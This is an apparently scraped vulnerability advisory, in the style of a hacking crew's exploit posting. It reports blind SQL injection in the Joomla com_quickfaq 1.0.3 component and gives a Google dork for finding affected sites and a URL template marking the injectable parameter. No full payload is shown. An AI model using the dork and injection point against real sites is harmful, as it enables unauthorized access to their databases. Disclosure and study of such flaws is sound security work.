43 lines
No EOL
1.5 KiB
Text
43 lines
No EOL
1.5 KiB
Text
-----------------------------------------------------------------------------------------
|
|
Joomla Component (com_quickfaq) BSQL-i Vulnerability
|
|
-----------------------------------------------------------------------------------------
|
|
[+]Title Joomla Component (com_quickfaq) BSQL-i Vulnerability
|
|
[+]Author **RoAd_KiLlEr**
|
|
[+]Contact RoAd_KiLlEr[at]Khg-Crew[dot]Ws
|
|
[+]Tested on Win Xp Sp 2/3
|
|
---------------------------------------------------------------------------
|
|
[~] Founded by **RoAd_KiLlEr**
|
|
[~] Team: Albanian Hacking Crew
|
|
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws
|
|
[~] Home: http://inj3ct0r.com
|
|
[~] Vendor: http://www.schlu.net
|
|
[~] Download Application:http://www.schlu.net/downloads/16-component/77-quickfaq.html
|
|
[~] Version: 1.0.3
|
|
==========ExPl0iT3d by **RoAd_KiLlEr**==========
|
|
|
|
[+]Description:
|
|
QuickFAQ is an easy to use but powerful FAQ management system.
|
|
|
|
Feature List:
|
|
* Unlimited Subcategories
|
|
* Assign FAQ Items to multiple Categories
|
|
* Create Tags/Labels to flag FAQ Items
|
|
* Up/down voting of FAQ Items
|
|
* Favoure FAQ Items to maintain a personal bookmark list
|
|
* Document uploader/manager
|
|
* PDF creation of FAQ Items
|
|
* RTL support
|
|
* RSS/ATOM Feeds
|
|
* Detailed statistics
|
|
* JComments and JomComments integration
|
|
=========================================
|
|
|
|
[+] Dork: inurl:"com_quickfaq"
|
|
|
|
==========================================
|
|
|
|
|
|
[+]. SQL-i Vulnerability
|
|
=+=+=+=+=+=+=+=+=+
|
|
|
|
[Exploit]: http://127.0.0.1/path/index.php?option=com_quickfaq&view=category&cid=[Valid Cid]&Itemid= [BSQL-Injection] |